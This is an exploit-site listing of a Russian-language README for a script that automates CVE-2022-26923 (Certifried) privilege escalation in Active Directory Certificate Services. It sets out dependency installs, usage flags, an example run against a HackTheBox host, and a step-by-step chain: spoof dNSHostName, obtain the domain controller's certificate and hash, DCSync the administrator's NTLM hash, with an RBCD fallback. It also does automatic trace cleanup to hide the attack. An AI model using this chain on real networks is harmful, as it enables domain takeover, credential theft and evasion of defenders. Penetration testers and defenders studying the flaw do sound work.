Sploitus

Exploit for CVE-2022-26923

kitploit · 2026-08-31

Exploit Code

MARKDOWN207 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NEFHARA-CVE-2022-26923
# CVE-2022-26923 – Эксплойт Certifried (Злоупотребление AD CS)

Автоматизированная эксплуатация **CVE-2022-26923 (Certifried)** , позволяющая повысить привилегии через злоупотребление службами сертификации Active Directory (AD CS), с автоматическим переходом на делегирование на основе ресурсов (RBCD) и последующим извлечением NTLM-хеша учётной записи администратора домена.

> ⚠️ **Только для образовательных целей / Лаборатории / CTF**
> 
> Не используйте в несанкционированных средах.

* * *

## 🎯 Описание

Этот скрипт автоматизирует следующую цепочку атак:

### Метод 1 — Классический (Прямая эксплуатация CVE)

  1. Создание контролируемой учётной записи компьютера (случайное имя для избежания конфликтов)
  2. Подмена атрибута `dNSHostName` на имя контроллера домена
  3. Запрос сертификата компьютера через AD CS
  4. Аутентификация с помощью сертификата → извлечение NTLM-хеша контроллера домена через PKINIT
  5. Выполнение атаки DCSync с помощью `secretsdump.py` с использованием хеша контроллера домена



### Метод 2 — Запасной (RBCD) _(автоматически, если Метод 1 не сработал)_

  6. Преобразование PFX в PEM для использования с `bloodyAD`
  7. Настройка делегирования на основе ресурсов (RBCD) на контроллере домена
  8. Добавление SPN к скомпрометированной учётной записи компьютера через `impacket-addspn`
  9. Запрос билета S4U2Self + S4U2Proxy с помощью `getST.py`
  10. Извлечение NTLM-хеша через `secretsdump.py` с использованием билета Kerberos



* * *

## 🔗 Уязвимость

  * **CVE-2022-26923 – "Certifried"** — CVSS 8.8 (Высокий)
  * Поражает среды Active Directory, использующие AD CS
  * Позволяет пользователю с низкими привилегиями выдать себя за контроллер домена, манипулируя атрибутом `dNSHostName`, что заставляет центр сертификации выпустить сертификат для учётной записи контроллера домена



* * *

## 🛠 Используемые инструменты

* * *

## 📦 Установка зависимостей

root@kitploit:~
    
    
    pipx install impacket
    pipx install certipy-ad
    pipx install bloodyad
    sudo apt install openssl
    

* * *

## 🚀 Использование

root@kitploit:~
    
    
    chmod +x CVE-2022-26923.sh
    ./CVE-2022-26923.sh [options]
    

### Доступные опции

root@kitploit:~
    
    
    -d, --dc-ip     IP-адрес контроллера домена
    -D, --domain    Имя домена (например, corp.local)
    -u, --user      Действительный пользователь домена (формат UPN: user@domain)
    -p, --pass      Пароль пользователя
    --verbose       Режим отладки: вывод всех выполняемых команд
    -h, --help      Показать это справочное сообщение
    

* * *

## 🧠 Пример (HTB Certifried)

root@kitploit:~
    
    
    ./CVE-2022-26923.sh \
      -d 10.129.227.189 \
      -D certifried.htb \
      -u some-email@example.com \
      -p 'Ch4ng3m3!' \
      --verbose
    

> **Совет:** Перед запуском определите точное имя CA и шаблона с помощью:
> 
> root@kitploit:~
>     
>     
>     certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout
>     
> 
> Затем обновите `CA_NAME` и `TEMPLATE` в значениях по умолчанию скрипта.

* * *

## 🔥 Ожидаемый вывод

В зависимости от среды сработает один из двух путей:

**Метод 1 (Классический):**

root@kitploit:~
    
    
    [5] Classic authentication attempt (Recovering DC hash)...    [SUCCESS]
    [+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
    
    [6] DCSync of administrator via secretsdump...
    administrator:500:aad3b435...:<nthash>:::
    

**Метод 2 (Запасной RBCD):**

root@kitploit:~
    
    
    [5] Classic authentication attempt (Recovering DC hash)...    [FAILED]
    [*] Switching to Fallback method (RBCD + SPN)...
    
    [Fallback-5] Running secretsdump via RBCD ticket...
    administrator:500:aad3b435...:<nthash>:::
    

**Очистка OPSEC выполняется автоматически** в конце (или при Ctrl+C):

root@kitploit:~
    
    
    [*] Starting trace cleanup (OPSEC)...
        [OK] Cleanup complete.
    

* * *

## 🏗 Внутренняя схема атаки

root@kitploit:~
    
    
    Random Machine Account Creation (e.g. PWN8472$)
                  ↓
        dNSHostName Spoofing → dc.domain.local
                  ↓
      Dynamic LDAP Sync Verification (polling)
                  ↓
      Certificate Request via RPC (Machine Template)
        [NETBIOS timeout auto-retry up to 5x]
                  ↓
    ┌─────────────────────────────────────────┐
    │         METHOD 1 — CLASSIC              │
    │   certipy-ad auth -pfx dc.pfx           │
    │   → DC NTLM hash via PKINIT             │
    │   → DCSync via secretsdump              │
    └────────────────┬────────────────────────┘
                     │ [FAILS]
                     ▼
    ┌─────────────────────────────────────────┐
    │         METHOD 2 — RBCD FALLBACK        │
    │   PFX → PEM conversion (openssl)        │
    │   bloodyAD: add rbcd dc$ COMP$          │
    │   impacket-addspn: SPN on COMP$         │
    │   getST: S4U2Self + S4U2Proxy (cifs/)   │
    │   secretsdump via KRB5 ticket           │
    └─────────────────────────────────────────┘
                  ↓
     OPSEC Cleanup (trap EXIT/INT/TERM)
       - Remove RBCD attribute on DC
       - Delete machine account (COMP$)
       - Wipe local PFX / PEM / ccache files
    

* * *

## 🔧 Известные проблемы и устранение неисправностей

* * *

## ⚠️ Отказ от ответственности

Этот проект предоставляется для:

  * Образовательных и исследовательских целей
  * Личных лабораторных сред
  * Заданий CTF / HackTheBox / Capture-The-Flag
  * Санкционированных тестов на проникновение (с письменного разрешения)



Автор не несёт ответственности за любое несанкционированное или незаконное использование этого инструмента.